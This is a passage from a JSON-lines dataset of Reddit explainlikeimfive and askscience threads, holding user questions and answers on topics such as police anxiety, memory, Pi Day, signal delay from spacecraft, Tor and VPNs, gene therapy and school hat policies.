showed up.", "But you have done *something* wrong.  Maybe it wasn't now but it is almost impossible to not violate a law.  Maybe you have exceeded the speed limit, rolled through a stop sign, or some other minor traffic violation.  Perhaps you littered or jaywalked.  Maybe you did something more serious.  \n\nSeeing the officer reminds you that you have broken some rules, as they are the enforcer of rules.  Since you believe it is right to follow the rules the guilt feeling is you have is because you know that you have broken some.  The officer is just reminding you of that fact.", "You evaluate a threat using two criteria: intent and capability. \"Does this person want to harm me? Does this person have the ability to harm me?\"  \nLaw enforcement officers score high on both these scales. In terms of intent, the police might not have any desire to harm you physically, but they are motivated to harm you financially by issuing a traffic ticket, for instance.  \n\nFor capability, they peg the needle. You know for a fact that they have the tools and authority to fine, detain, or even kill you.  \n\nIt's a rational response to be wary of the police, because in rational terms, they are somewhat more motivated to do you harm than an average person, and far, far better equipped to do it.", "Definitely a terrible feeling! But simply put...\n\nThe left lane typically drives at least 5-10 over the allowed speed limit, with or without a populated road. So assuming the cop is in the right lane going the exact speed limit, as they usually are in my experiences, anyone in the left lane passing the cop is technically breaking the law and could be pulled over, whether they feel they have done something else wrong or not.", "So both of my parents were cops, I was always around cops when I was younger. But without fail if there's a cop car behind me I immediately tense up and get nervous. I was never that way when I was younger. I think I get this way because they have all the control in the situation and since I don't know them personally I don't know what their true intentions are. ", "I imagine it's the same reason you feel nauseous around cliff edges even though you're not going to fall. ", "So far these answers are all mental gymnastics. Here is the correct answer:\n\nClassical Conditioning. \n\nThis is the psychological process where an animal learns to associate a neutral stimulus with another stimulus and then the previously neutral stimulus elicits a conditioned response. The most famous examples would be Pavlov's Dog studies and Watson's Little Albert study. You can search for those and find lots of explanations on them.\n\nYou've learned to associate the cop with an aversive emotional experience either through previous tickets or through observation of people getting tickets. These associations can occur quite easily. Especially when it involves aversive stimuli. And the conditioned response (the feeling of dread/guilt) occurs without you necessarily consciously controlling it. Which is why you feel silly since you know you are not doing anything wrong.\n\n", "Because duh. Fuck all the copsuckers in here, the media lies for the police, it protects them. It isn't 1 in a thousand, it's a consistent problem that needs to be addressed.", "Omg the amount of down voting cops in this thread is too damn high... I lost a job because of a cop... he didn't care at all..  I was out of work for 6 months and couldn't pay for a traffic ticket.. I told the court but they said pay or go to jail... after they charged me many late fees the $300 ticket had become a $2000 ticket.. they sent the marshal to my house the first day after I got my job and dput me in jail for 20 days because I didn't have the money... I lost my job because putting me in jail is more important... I have no simpathy for cops because they would kill me if it made their situation better.  Cops are not friends they are gangsters"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "faw3qi", "title": "how does a brain store information better when there\u2019s an interest rather than when there isn\u2019t?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/faw3qi/eli5_how_does_a_brain_store_information_better/", "answers": {"a_id": ["fj0mi44", "fj0mk7k", "fj0tlhx", "fj1froe"], "score": [36, 23, 3, 2], "text": ["Picture a sandbox on a breezy day. Emotions have an impact like drawing deeply. \n\nDeep lines in the sandbox make it easier to see even if some sand blows in. Also, every time you think of the same thing you redraw it even deeper.  \n\nRepetition is really what makes things stick, so the initial impact (omg! This is so cool!) makes a good solid picture, and something you\u2019re interested in will also be repeated in your mind redrawing those lines even deeper.", "Because when there's an interest you store more information in your brain and more cross-referencing of that information. You not only store visual memory but other forms such as audio, smell, taste and even emotions.\n\nIf you went say to a F1 Race, you would obviously have an interest, but you would remember things like the sounds, how it made you feel, the taste of hot dogs and coke( or whatever you eat) and the people you went with( again cross-referencing of  information). You are also likely to remember it the next day ( after the 24 hour memory have transferred into your long term memory)", "Only some short term memories become long term memories, \"interesting\" is what distinguishes between the two.\n\nAlso, the more you know about something, the more information you glean from experiencing it, and the more interesting it becomes.  If you don't know anything about chess, all chess positions are going to look the same and all you notice is that pointed headed piece just took the horsey piece.  But to a chess expert, the same position is rich with details.  To them it is the Sicilian Defense, Richter-Rauzer Variation, Neo-Modern Variation, Nyezhmetdinov Attack, rich with detail and possibilities, and they are more likely to remember it.", "The brain has a mechanism by which short term memories are stored or discarded. A great majority of memories are discarded and only the most \"interesting\" ones are retained. An evolutionary explanation for this would be that it aids our survival if we remember the things that made a big impression on us, whether it was positive or negative whereas we forget the rest so as not to clutter our memory. It is of course an imperfect mechanism so we forget plenty of things we would like to remember, and remember plenty of those we would prefer to forget, but as most things in our body, it works well enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4aczay", "title": "Happy Pi Day everyone!", "selftext": "Today is 3/14/16, a bit of a rounded-up Pi Day! Grab a slice of your favorite Pi Day dessert and come celebrate with us.\n\nOur experts are here to answer your questions all about pi. Last year, we had an *awesome* pi day [thread](_URL_0_). Check out the comments below for more and to ask follow-up questions!\n\nFrom all of us at /r/AskScience, have a very happy Pi Day! ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4aczay/happy_pi_day_everyone/", "answers": {"a_id": ["d0zadl1", "d0zan9z", "d0zb3x9", "d0zbekz", "d0zd8aw", "d0zdg03", "d0zdii6", "d0zdq4p", "d0zdz5i", "d0ze3wd", "d0ze4da", "d0ze6zh", "d0zej8m", "d0zemc0", "d0zeq13", "d0zg6p6", "d0zgd35", "d0zguim", "d0zh48g", "d0zhcuh", "d0zjhu5", "d0zkz7t", "d0zquww", "d0zr7h8"], "score": [555, 8, 79, 222, 3, 157, 98, 41, 92, 40, 42, 13, 55, 5, 2, 9, 5, 4, 4, 3, 5, 8, 2, 3], "text": ["There are plenty of algorithms that are suited for computers related to pi, but which are tractable with pen and paper?  Can finding the n'th digit be done on paper reasonably?", "Would the value of Pi vary if calculated for a curved space instead of a planar space?\n\n", "Not really a question, but if any of y'all have some simple terms and real world examples on the usefulness of pi I could use to explain this to my third grade math and science class, I'd appreciate it. ", "Is there anything special happening in math departments this year? 3/14/16 is awfully close to 3.14159...\n\nGetting a bit more serious, is there a practical value to finding Pi's value to way more than 10 decimal points?", "I didn't even know this was a thing! Far from a mathematician or a scientitst, but still, think I'll watch the Aronofsky film when I get home!", "What's the most precise that we've actually ever needed pi to be?", "My favorite approximation ( &  mnemonic) is for [Mil\u00fc](_URL_0_); the best rational approximation of pi with a denominator of four digits or fewer.  It's valid for up to 6 decmal places.\nGoes something like this: Write the first 3 odd numbers (1 - 3 - 5), Duplicate them (1 - 1 - 3 - 3 - 5 - 5) Place the last 3 over the first three (355/113 = 3.1415929203...) Drop the digits occurring after '2' (355/113 ~= 3.141592;  pi = 3.1415926535...)", "Why is Pi used instead of Tau?\n\nAll I know about each is that Tau is more useful, and 'generally better' according to Vihart on youtube.  Is she right, and if so why don't we use it?", "I'm happy to enjoy Pi day, because any excuse, but has anyone found a day that people who write dd/mm/yy dates can celebrate?\n\nThe best I've come up with is *molar planck constant times c day*, which is the zeroth of November.", "I find rational and irrational numbers so weird. Why does pi exist? Is it because we humans created a number system that made it exist? Or is it that the universe actually has a value such as pi (along with others). I'd understand maybe using rational numbers to predict measurements, but from my experience, time and time again it seems like pi actually exist. \n\nDoes this mean that pi is measurable in a physical sense of the word? What I am asking is if, somewhere down the line, if even possible, we create a measuring tool that can actually measure pie? If we can find a distance to measure pi. I may not even be fully grasping the understanding of pi, and my question may be more philosophical than physical. I then think and ask myself, \"Maybe humans are using the wrong counting system?\". Of course what follows that thought is me knowing I do not know enough mathematics and physics. \n\nSo what is pi really? Yes, we got the number from looking at the ratio between circumference and diameter of a circle, but why did the universe regurgitate such a number? If it was not the Greeks, some other civilization, or even *humans* as we know it who discovered it, would there be a different translation? \n\nThen this question stems to other constants in our universe including e, the mass of the proton to electron, and those other ones I have read in The Brief History of Time. \n\nWhy?\n\nEDIT: Does anyone know what maths or sciences can help me understand this question?", "[This](_URL_0_) is my favorite gif for pi. Being not a particularly strong math student, it helped my understanding of how it relates to circles and circumference and radius. The visualization of it rolling out is something I show students when they don't get it:\n\n_URL_0_", "Not sure if this is allowed, but here is my favorite mnemonic device [for the first 50 digits of pi](_URL_0_) by songs to wear pants to. \n\nLyrics for the lazy (each word has the same number of letters of the digit of Pi it represents...so man would be 3)\n\n\"Man, I can't, I shan't formulate an anthem where the words comprise mnemonics, dreaded mnemonics for pi. The numerals just bother me, always, even the dry anterior. Try to request something lower (zero) in numerary aptitude, even I, Pantaloon Gallons, I cannot actualize the requested mnemonics. The leading fifty, I...\"", "Not a question, but I thought people in this thread would get a kick out of it. Yesterday, in preparation for pi day, my daughter and I made [3.14 pies](_URL_0_). \n", "What is the purpose of calculating so many decimal places of pi? I just checked and it's been calculated to 10 trillion decimal places so far. There's another answer in this thread that says that 30 decimal places is sufficient to calculate the diameter of the observable universe to within the width of an atom, so does calculating all these other decimal places serve a practical purpose or is it just done for the novelty?\n\n", "Since we know a lot of pi, is there any number of digits in which we can't find every order of numbers possible? Like if it was 6 digits can we find every number from 000001-999999? Or if you it needs to be simplified then 6 digits could only account for 100000-999999.", "Anyone going to take a shot at the Pizza Hut Challenge. Answer one of three questions and get pizza for 3 years.\n\n_URL_0_\n\n*OPTION A:*\n\nI\u2019m thinking of a ten-digit integer whose digits are all distinct. It happens that the number formed by the first n of them is divisible by n for each n from 1 to 10. What is my number?\n\n*OPTION B:*\n\nOur school\u2019s puzzle-club meets in one of the schoolrooms every Friday after school.\n\nLast Friday, one of the members said, \u201cI\u2019ve hidden a list of numbers in this envelope that add up to the number of this room.\u201d A girl said, \u201cThat\u2019s obviously not enough information to determine the number of the room. If you told us the number of numbers in the envelope and their product, would that be enough to work them all out?\u201d\n\nHe (after scribbling for some time): \u201cNo.\u201d She (after scribbling for some more time): \u201cwell, at least I\u2019ve worked out their product.\u201d\n\nWhat is the number of the school room we meet in?\u201d\n\n*OPTION C:*\n\nMy key-rings are metal circles of diameter about two inches. They are all linked together in a strange jumble, so that try as I might, I can\u2019t tell any pair from any other pair.\n\nHowever, I can tell some triple from other triples, even though I\u2019ve never been able to distinguish left from right. What are the possible numbers of key-rings in this jumble?", "Why is pi so ubiquitous in mathematics? How does it just kinda show up everywhere?", "Not sure if someone has already posted this, but Blaze Pizza is known to have Pi Day specials the entire day. My local one this year is doing any pizza for $3.14; in previous years they've given away free pizzas. Just a heads up for anyone who enjoys build your own pizzas and doesn't mind waiting in non-terminal lines... *heh heh*  \n ^(I'll show myself out...)", "I am an elementary school teacher in a K-8 building. This year I decided to go all out and even though pi is today, we celebrated in the last day before out spring break. The experience I used was taking a plastic circle (with an edge) with a diameter of 65cm and rolling it on a measuring tape to get circumference. I was happy when the ratio was 3.1. We also prepared pudding pies. I found an excellent article on _URL_0_. My class of seventh and eighth graders presented our information to the 4th graders. I did have a very happy pi/pie day.\n", "Ahh pi day... The day I got in the schools trophy cabinet right next to the basketball trophies on a small plaque. My school decided to hold a memorizing competition on the digits of pi. So whenever I got bored in class, I'd just start memorizing pi. I wound up winning, memorizing 255 digits (roughly looked like 2-3 paragraphs of numbers). First name on that plaque, did not choose to memorize it again the following year. Good times :)", "pi=3.14159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196442881097566593344612847564823378678316527120190914564856692346034861045432664821339360726024914127372458700660631558817488152092096282925409171536436789259036001133053054882046652138414695194151160943305727036575959195309218611738193261179310511854807446237996274956735188575272489122793818301194912983367336244065664308602139494639522473719070217986094370277053921717629317675238467481846766940513200056812714526356082778577134275778960917363717872146844090122495343014654958537105079227968925892354201995611212902196086403441815981362977477130996051870721134999999 and so on.", "I once heard someone say that any string of digits is contained in pi. I assumed because it was non repeating and irrational? If this is so, can the same be said about e? Could you find e in pi? Could you find pi in e? Would that make both of these numbers eventually repeating if they contained each other?", "Has the value or concept of Pi ever been discovered independent of western civilization? I've heard that the Babylonians, Egyptians and Greeks had approximated Pi... was the idea of Pi handed down to each - or was an independent discovery? ", "My math class had a celebration on Friday.\n\nThe lunch prior, we journeyed to the local No Frills and bought pies for our and the next math class.\n\nWe then had a pie reciting contest where I placed second having 120 digits memorised. (1st was 170 or something)\n\nDefinitely a pie day to remember!"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/askscience/comments/2z0fge/happy_pi_day_come_celebrate_with_us/"], "answers_urls": [[], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Mil%C3%BC"], [], [], [], ["https://upload.wikimedia.org/wikipedia/commons/2/2a/Pi-unrolled-720.gif"], ["https://youtu.be/Ufo2RfNFEYs"], ["http://i.imgur.com/kFu46Gx.jpg"], [], [], ["http://blog.pizzahut.com/flavor-news/national-pi-day-math-contest-problems-are-here-2/"], [], [], ["edhelper.com"], [], [], [], [], []]}
{"q_id": "1b4gdl", "title": "what was the oregon trail?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1b4gdl/eli5_what_was_the_oregon_trail/", "answers": {"a_id": ["c93hdps", "c93i145"], "score": [6, 6], "text": ["It was an awesome video game where you got to hunt and you tried not to die from dysentery.  ", "Simply put, some explorers had discovered that, past the Rocky Mountains, there was a large area of fertile land that would be good for farming. Some Americans wanted to get in on the good farmland, so they traveled overland to get to it. Since railroads hadn't been built at that time, they either took a railroad or a steamboat to Independence, Missouri (or a few other starting locations), and then bought wagons, oxen, and supplies to make a 4-6 month walking trip to the Willamette Valley in Oregon for that farmland (or Sacramento, or if you were Mormon, Salt Lake City). \n\nMany times there is not a specific road or trail you can point to and say \"this is the Oregon Trail\" - it was really more a network of trails, roads, and rivers people used to get to the West Coast and settle."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3sa38o", "title": "if a rocket launched into space streams continuous video back to the earth, what will happen once the rocket gets so far away that we don't receive the broadcast signal instantaneously any more?", "selftext": "I can't grasp my head on this problem.\n\nIf we want to reach a sattelite far away, it can take up to 10 minutes for our command to reach the sattelite. Then it takes another 10 for the sattelite's response to reach us.\n\nIf we would launch a rocket livestreaming onboard video, what happens once the rocket starts to get so far away it would take 10 minutes for the broadcast to reach Earth?\n\nWe'd be watching from Earth constantly, but the rocket at one point can't reach us instantly. Would we see slow motion video or something?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3sa38o/eli5_if_a_rocket_launched_into_space_streams/", "answers": {"a_id": ["cwvdi33", "cwve1jl", "cwvhbbh", "cwvql4l"], "score": [15, 4, 2, 2], "text": ["Well there's not a *point* it will reach where it won't be live. It will *never* be footage of what the spacecraft is seeing at that exact instant. The spacecraft could be 10 feet away from you sitting still and if your buddy was watching the footage in the next room over there would be an *extremely* small delay. Like what he saw on his scree would be like 0.0000000001 seconds behind what was really happening.\n\nAs you move the camera farther and farther away this delay would simply increase over time. There's no *point* where it suddenly stops being live, it's never live. This is due to the fact that light has a speed and it takes (a very small amount of) time for light or signals to go anywhere. \n", "The stream is coming to us at light speed. We never recieve the signal instantly. When its 0.000000000000000000000001 light seconds away on the launchpad it takes that long to get the data. 1 light second away the video takes 1 second to reach us. 1 light hour away the data takes 1 hour to reach us. assuming it has been broadcasting constantly though that means we will get video constantly regardless of how far it has gone. ", "Your error in assumption is that the rocket would livestream as soon as it started heading away from earth. Even without taking relativity in effect, you'd see a shift in the transmitted signal similar to the Doppler effect.  \n\nThe Doppler effect \"ELI5\" is what causes cars to sound different when they're driving past you. When they approach, sound waves get compressed and the sound of the car is higher in frequency. After it passes the sound waves get spread out, and the sound is lower in frequency. \n\n\nWireless transmissions operate in a similar fashion to acoustics. There would be a slight slowdown in the video transmission feed received on Earth as soon as the rocket flew away,", "Assuming you maintain a constant speed, the feed wouldn't get slower, but it would always be slower than reality and this would account for the distance. For example, if you set off from Earth at the speed of light and after 1 sec released a 'bleep' signal, Earth would receive it at 2secs after launch. Then you release another one at 2 secs, which Earth would receive 4 secs after launch. The third bleep at 3 secs Earth would receive at 6 secs after launch. After 1 hour travelling, your next bleep would be received by Earth 2 hours after launch.\n\nIf it was a sound signal, and you were travelling faster than sound then the gap between each signal would grow to infinity. Eg, after 1day travelling at twice the speed of sound, your sound signal isn't received by Earth till 3 days after launch.\n\nGoing back to the first example, if you were accelerating from 0mph then the feed would start off as very frequent but eventually slow to half-speed as you approached the speed of light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2cxyw3", "title": "how can one hide/continuously changed their ip address, so they can't be traced?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cxyw3/eli5how_can_one_hidecontinuously_changed_their_ip/", "answers": {"a_id": ["cjk57az", "cjkarv5"], "score": [2, 2], "text": ["You need to go through some kind of intermediary, like TOR, a VPN, or a proxy.  Even so, the intermediary will know your IP, but hopefully you choose one that won't reveal it to whomever you're hiding from.", "\"Congratulations,  you are now on a watch list!\" -NSA\n\nBut seriously, TOR browser. If you are wondering about the technical stuff, basically instead of your packets going from you to, say, _URL_0_ directly, it goes from you to someone else, to someone else, to someone else, and then eventually _URL_0_. It hides you by routing you around."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["youtube.com"]]}
{"q_id": "24y3tc", "title": "if lobsters can \"live forever\" due to a special enzyme, why couldn't humans introduce gene therapy with this to prevent aging after the age of 20/30", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/24y3tc/eli5_if_lobsters_can_live_forever_due_to_a/", "answers": {"a_id": ["chbrybp", "chbs61q", "chbs9kk", "chbxauu", "chbxxsu", "chbxzay"], "score": [14, 5, 21, 3, 2, 17], "text": ["The genes between humans and lobsters are substantially different. You can't just take bits from one and expect the same results in the other. Furthermore, gene therapy is in its infancy and only now starting to see any kind of clinical success. That being said, there are undoubtedly scientists that are looking into the use of gene therapy to hinder aging.", "Recent evidence suggests that humans and all mammals have a set of hormones which increase in concentration over time to cause organism death.\n\n_URL_0_\n\nThis has the evolutionary advantage of increasing the turnover of individual organisms, allowing the species to react more rapidly to change in environment.\n\nWe have managed to regress mature human cells to the stem cell phase by exposing them to hormones.\n\n_URL_1_\n\nIt is likely possible to identify and isolate the hormones responsible for organism apoptosis and develop some method of nullifying them.\n\nIf everyone were given this treatment, it would cripple our species by halting our evolution.\n\nNo fear of that though, it would likely be far too expensive for us plebs.", "Humans are not like lobsters.\n\nAdding acetylene to your gas tank may boost your fuel efficiency a bit, but that doesn't mean pouring it on top of your microwave is a good idea.", "Typically a gene codes for a protein, like a blueprint. The protein has to be created in the cells. Then that protein is what does the \"work,\" in this case preventing cell degradation or something. For the protein to work, it may have to bind to certain places in or on the cells.\n\nFor this gene to be added to humans, it would have to be added to ALL your DNA, in EVERY cell, or introduced in the egg before replication. Even if this could be done, it doesn't mean your body can create the protein, or bind with the created protein, or it may not work the same way it does in the lobster.\n\nAnd even if all that worked exactly the same as in the lobster, there may be detrimental side effects because of interactions with other proteins or cells or hormones or receptors.", "Sometimes I like to imagine a world which introduced this gene therapy. To prevent overpopulation you can either life forever or get children. If you get children you will be killed by the government as soon your child gets 50 years old.", "As a biologist, no, lobsters do not live forever. If you don't believe me get a fish tank and raise a lobster there and see how long it lives.\n\nThe article says:\n\n > which means they would essentially live forever if it weren't for being caught and eaten, or dying from injury or disease.\n\nAnd that is the case with any living organism, the more you get old the more you become prone to diseases and that's why everybody dies.\n\nThis article is full of scientific inaccuracy and oversimplification.\n\nIf it was only one gene responsible for this we would have easily been able to inject it in every living organism in the world.\n\nSome other reply here mentioned this:\n\n > The genes between humans and lobsters are substantially different. You can't just take bits from one and expect the same results in the other.\n\nThe first part of this is wrong, the second part is right.\n\nSimply put, a \"gene\" is just a code the tells the cell how to manufacture a certain protein. Nothing else. So we actually have been able to transfer genes between Humans, mice, cows, flies, plants, bacteria and even algae. \n\nFor example: By inserting a gene for a florescent protein called GFP (Green Florescent Protein), obtained from sea algae, into mice, we were able to produce florescent mice. \n\nSee for example:\n\n_URL_0_ \n\nSo, in principle, we can insert lobster genes into humans. Now, the second part of the statement is true. You can't expect similar results by just inserting 1 gene. Genes produce proteins that work in the context of other proteins in the cell or the body to produce results. You can't take a computer processor and attach it to a vacuum cleaner and expect to be able to play games on it this way. Genes for extremely complex systems in order to produce even the simplest functions.\n\nNow, to insert a gene into an organism requires you to inject this gene into the organism when it is in the stage of a zygote, which means when the sperm and the ovum fuse and before they divide. To be sure that the gene reaches all the cells eventually. (Actually things are more complicated than this but lets just keep it to the ELI5 level) \n\nThis experiment may work or may not work. So we can't try it on humans because if the experiment fails, you may get a diseased or disabled human, which is obviously bad for him.\n\nSo don't expect any kind of similar experiment done on humans in the near future. May be not in the next 100 years until we can 100% sure that this can be done safely in humans. Unless of course we get a mad scientist that experiments on prisoners like what happened during the Nazi time, which will also probably take a very long time to do. Note that you would want to know the effect of such gene on a large enough number of \"experimental humans\" over their complete life span to be able to judge the efficacy of a certain gene, and when 1 human lives up to 80-85 years old, you can do the math."]}, "title_urls": [], "selftext_urls": ["http://home.howstuffworks.com/green-living/lobsters-live-forever.htm"], "answers_urls": [[], ["http://www.bostonglobe.com/news/science/2014/05/04/blood-from-young-mice-reverses-aging-brain-muscles/iepDMMf7wrLJy6WgXqpdIJ/story.html", "http://en.wikipedia.org/wiki/Induced_pluripotent_stem_cell"], [], [], [], ["https://www.youtube.com/watch?v=n0UzdYRnMtY"]]}
{"q_id": "1cd8zc", "title": "Why do f-holes in instruments such as violins and cellos produce a superior sound/tone?", "selftext": "I always see this as a benchmark for the quality of the instrument, and am very curious as to why", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cd8zc/why_do_fholes_in_instruments_such_as_violins_and/", "answers": {"a_id": ["c9fexgz", "c9fgcm7", "c9fgkk3", "c9fkul8", "c9fsouk"], "score": [24, 6, 330, 2, 4], "text": ["F Holes holes in musical instruments are not necessarily the cause of the perceived 'better' sounds you speak of. What is actually responsible is the hollow body, when compared to a solid body. For example, a solid-body electric guitar would have excellent resonance due to the solid structure and minimal voids for the vibrations to be damped.\n\nHollow body guitars on the other hand, have chambers of hollowed out wood that provide resonances similar to acoustic instruments, enriching the tonal color of each individual notes and giving the electric instrument more acoustic characteristics.", "Bassist and former apprentice to a violin maker here.The f-holes on a violin, viola, cello, or bass are placed in such a way as to allow the most sound to be projected from the instrument. The portion of the top that sits between the f-holes is what mechanically amplifies that tiny amount of vibration that is coming from the string. The f-holes' size, shape, and placement, though beautiful when done well, are critical to sound production. The placement of the bridge, soundpost, and bassbar, as well as the shape and graduation of the top and back, are designed to encourage the portion of the top that sits between the f-holes to vibrate in a free but controlled fashion. ", "Physicist and guitar/cello player here. The exact shape of the f-holes does not matter too much. There are many variations which however do not affect the sound of the instrument too much. However, there is an important difference between the round sound hole and the f-hole. Guitars are built with both variations (see _URL_0_). Archtop guitars are popular within e.g. the jazz community, they have a higher volume compared to the round sound-hole counterparts, at cost of less sustain (i.e. the time the string sounds after it is picked). The hight volume was mainly important when amplification was not common.\n\nThis is quite easy to understand, since the f-holes allow more of the instrument's top to vibrate. This produces a louder tone, but the string looses energy which is stored in it's vibration more rapidly.\n\nFor instruments such as the cello or violin this is less of an issue because the note is usually not just picked once but kept in a constant vibration using the bow.\n\nNote however that this is a quite generic discussion and there are lots and lots of variations of the same instruments around, so in a specific case the situation may be somewhat different.", "The f holes act as helmholtz resonators (_URL_0_)", "Came for the f-holes, stayed for the science!  Seriously though, had to read the tittle twice to make sure it was sfw."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Archtop_guitar"], ["http://en.wikipedia.org/wiki/Helmholtz_resonance"], []]}
{"q_id": "5wjta6", "title": "why do news organizations report on \"dangerous teen trends\" that never seem to have any basis in fact?", "selftext": "Granted, trends will vary between age groups and it's not like I was the most trendy person in school, but so much of what they reported seems like utter bullshit, or sensationalizing. I work with teenagers now and it still seems like bullshit.\n\nFor one thing, you'll see news pieces about crazy new teen trends sweeping the country, and they never seem to make any effort to put it into context (e.g., this actually happened twice at the same school and nowhere else).\n\nI've seen multiple lists of acronyms that the writer presents as near universal among teenagers, most of them awkwardly long and related to sex.\n\nAre the teenage children of journalists just making things up for fun?\n\nI get why it's a good story (\"and coming up after the break, could your teen be involved in a dangerous new game?\"), but it's crazy to me that it's acceptable to practically make shit up or make it seem like one incident is indicative of a larger trend.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wjta6/eli5_why_do_news_organizations_report_on/", "answers": {"a_id": ["deamhq1"], "score": [4], "text": ["Media, has gone from a platform of information and morphed into a disfigured into a ugly beast.  The media is now mostly controlled by powerful people and their cooperations so that already adds a bias.. Furthermore the media love reporting about dangerous trends and teen troubles because it plays to a parents worry.. Trust me its there.. Now it hooks viewers and gets them to stay on the channel.  People these days dont fact check so any crap being spread will just keep spreading.  I used to love the news.. A way to learn more about the world and what's going on.. Now its just depressing and sad. \n\nThe media is infested and this shit and sadly a lot of people buy into it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "wb1nd", "title": "internet data question.....", "selftext": "So I have always been confused by how these two things work. Internet data cap and internet bandwidth cap. Are they the same thing? If Im playing a large amount of online games which uses a lot of data can i come close to exceeding a 250g cap a month? Or is that type of data usage different? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/wb1nd/internet_data_question/", "answers": {"a_id": ["c5bt6t2", "c5bwvoq"], "score": [2, 2], "text": ["Data is the *amount* of data whereas bandwidth is the *speed* at which you get the data.  They are different.  A provider could claim that you have unlimited data but start slowing you down once you start using a lot.  250GB a month is an awful lot.  Online games probably don't use a whole lot of data compared to things like downloading movies.", "To compare it to water:\n\ndata cap = the amount of water you get per month\n\nbandwidth cap = the diameter of your pipe (the amount of water you can get per second, minute, hour ... whatever)\n\nPlaying games, you should NEVER come close to 250gig per month. Most games use between 30mb and 50mb per hour. So you can play 20 hrs and only use 1gig. Or you can play 5000 hours per month. Hint: A month has only 744 hours at most.\n\nYou are fine playing games.\n\n/edit: Some game can use up to 100mb per hour in extreme cases, but even that would not be a problem and the average rate is usually more around 50mb per hour."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9wzkb2", "title": "why do schools care so much about the no hat policy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9wzkb2/eli5_why_do_schools_care_so_much_about_the_no_hat/", "answers": {"a_id": ["e9ocdhp", "e9ock48", "e9ockek", "e9ocn1j", "e9ocwon", "e9odxop", "e9oe5mg", "e9oeqtd", "e9ogl59", "e9ok03j", "e9ok2bh", "e9olttw"], "score": [42, 49, 71, 6, 4, 30, 8, 5, 7, 3, 2, 2], "text": ["Because they are trying to teach manners to a bunch of little shit heads. It was the same thing when I was a shit head and will not change when your shit head kids are in school. \n\nJust take off your hat. It isn't hard.", "Also, hard to get a good picture on a security cameras if half the head is blocked from view. It can make it hard to tell who is who.", "\"No hat\" rules exist for a number of reasons (of questionable quality). The number one reason is that they can be a distraction. Kids play with them, take them off, throw them around. What the hat displays can be disruptive.\n\nHats and hoods also conceal the face and head and can be used to hide things.\n\nAs far as why it is a rule that is enforced so strictly.\n\n1. It's a clear cut rule. It isn't ambiguous or open to interpretation.\n2. It's easy to see if someone is breaking it.\n3. It's easy to enforce: you just tell them to take the hat off.\n\nSo it's a rule with multiple reasons for existing and is a rule that is easy to see when it is being broken and easy to enforce.\n\nITT: People arguing.\n\nYou may not like that this is a rule. You may not like the reasons given for this rule. You may think they are arbitrary, based on false premises, inconsistent with other rules (or the lack of other rules). Cool. Nevertheless, these are the reasons given for why rules like this exist. It is the answer to the question provided. You not liking the answer doesn't make the answer wrong. I'm not here acting as defense or advocate of these reasons or the schools that implement these rules. I'm just answering a question.", "Further to what the other comments say, it can also be for security reasons. Students who do things they shouldn't can't be identified (especially on CCTV) if they have their faces covered, likewise people who aren't students that come into the school can't be identified as being out of place if people commonly cover their faces, as there's no way to tell if the cap/hood is low. \n\nIt can also be a case of wanting students to look smart and tidy. Caps and hoods aren't considered \"smart dress\", so in countries without school uniforms they might want to have *some* level of smartness amongst students. In countries *with* school uniforms, it's not part of the uniform therefore it's not allowed, simple as that. \n\nHonestly tho, I don't see the issue. If the rules say don't wear a hat then don't wear a hat, surely it's not worth getting in trouble for even if it is a dumb rule. \n\nEdit: I am a teacher, so this is based on what I know from the other side of the discussion. ", "Mainly has to do w distractions, because a hat inside is not a necessity but rather a desire. The reasoning is stupid to me as students are allowed to wear bracelets, rings, etc which are far more distracting. ", "Our high school's policy was because hats and bandanas were one of the primary expressions of gang affiliation.", "Just like most of school, it's about control. I love the knots that people here are tying themselves into to justify a nonsense rule though. \n\n & #x200B;\n\nThis is what school is truly about. Get used to it, keep your head down until it's over, and at least try to make it work for you. It'll be over soon, and you can get on with your life.", "Why would you be wearing a hat in the first place indoors? It\u2019s just common manners to take off your hat when inside. Nobody wants to see you with your fedora anyways, I\u2019m afraid. And if it\u2019s an actual hat you probably won\u2019t even need it inside", "My school said no hats because people could cheat by looking at the bill during an exam? The ironic thing is that we could wear hats in university whenever. Even during exams.", "As a former H.S. teacher, I can say there is also a practical reason for no hats: if your head is down and your hat has a brim like a fedora, or a ballcap (assuming you wear it like a normal person), or somehow hides your eyes, I can't tell if you're working or sleeping, and I don't like kids sleeping in my class.", "To me it always just seemed to be a rule for the sake of rules.  Just because.  And some nonsense about the dark ages.  The list of excuses came later.  \n\nMore often than not it's like this: kid wears hat.  No one cares.  Teacher freaks out.  Wheres the distraction now?  \n\nI'm reminded as well of one of my old teachers.  Whenever a kid would complain about something trivial (\"he's looking at me!\")  the teacher would say \"well you must not have enough to do 